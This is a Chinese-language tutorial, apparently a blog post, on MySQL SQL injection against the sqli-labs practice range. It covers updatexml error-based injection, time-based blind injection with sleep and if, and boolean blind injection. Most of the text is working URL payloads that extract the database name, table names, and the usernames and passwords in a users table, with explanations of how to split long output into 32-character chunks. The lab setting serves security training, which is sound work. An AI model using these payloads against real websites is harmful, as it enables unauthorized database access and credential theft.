一、updatexml报错注入
updatexml函数有三个参数,我们只需要知道它的第二个参数是需要一个xpath格式的值,不然它就会报错,其它两个参数可以随便填
以sqllibs靶场为例,报错数据库语句:
?id=1' and updatexml(0,concat(0x3a,database()),2)--+
用concat函数确保第二个参数不是xpath格式,concat函数中的0x3a在数据库中是一个冒号,这里也可以根据个人喜好更改。要想的到数据只需要将database()改为自己需要的就可以了,例如查询表名:
?id=1' and updatexml(0,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
这里的group_concat函数是把查询到的数据都连接在一行输出,否则它会提示你返回的数据超过一行,或者可以使用limit函数做限制,不过要注意的是updatexml函数是有长度限制的,最多能返回32位的数据,所以如果长度太长就要用到substr函数,或者mid函数,例如查询user表中的用户名和密码:
?id=1' and updatexml(0,concat(0x3a,(select group_concat(concat_ws(0x3a,username,password)) from users)),3)--+
可以看出后面值并没有完全回显,用substr函数,第一个参数表示要截取的字符串,第二个表示开始截取位置,第三个表示截取位数
?id=1' and updatexml(0,substr(concat(0x3a,(select group_concat(concat_ws(0x3a,username,password)) from users)),1,32),3)--+
改变substr函数的开始截取位置
?id=1' and updatexml(0,substr(concat(0x3a,(select group_concat(concat_ws(0x3a,username,password)) from users)),32,32),3)--+
二、基于时间的盲注
基于时间盲注主要就是利用sleep函数,通过网站的延迟时间判断注入的内容正确性,但这种方法会受网络影响,可能会导致误判
以sqllibs靶场为例:
?id=1' and sleep(if(database()='security',5,1))--+
这里sleep函数用来延迟响应时间,如sleep(5)表示延迟5秒。if函数有三个参数第一个参数表示判断语句,结果位true返回第二个参数,false返回第三个参数。
如查表名用这种方式先判断表的个数表名长度,然后每次确定一个字母,最后得出结果
?id=1' and sleep(if((select count(table_name) from information_schema.tables where table_schema=database())=4,5,0))--+
得出表个数为4,用limit限制要爆破第几各表名,然后判断每个表名长度
?id=1' and sleep(if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,5,0))--+
得出表长为6,再判断表名
?id=1' and sleep(if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',5,0))--+
将a换为其它字母或数字,根据响应时间,爆出表名,其它的都是一个方法,就不多说了。这种方法一般不会手工操作,可以通过写脚本来跑,如果一定要手工的话可以把截取的字符串转换为ascii码采用二分法判断
三、布尔盲注
布尔盲注和上面所说的基于时间的盲注有点类似,只是有些时候无论你输入什么页面都没有变化,这时候就用时间盲注,如果输入的正确和错误页面有区别则可用布尔盲注,如sqllibs第五关:
?id=1' and 1=1--+
?id=1' and 1=2--+
可以看出页面有不同回显,但无论输入什么都这可能是这两种回显,这时候就可以用布尔盲注。如查数据库名:
?id=1' and substr(database(),1,1)='s'--+
?id=1' and substr(database(),1,1)='se'--+
查表名:
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'--+
其它和时间盲注大同小异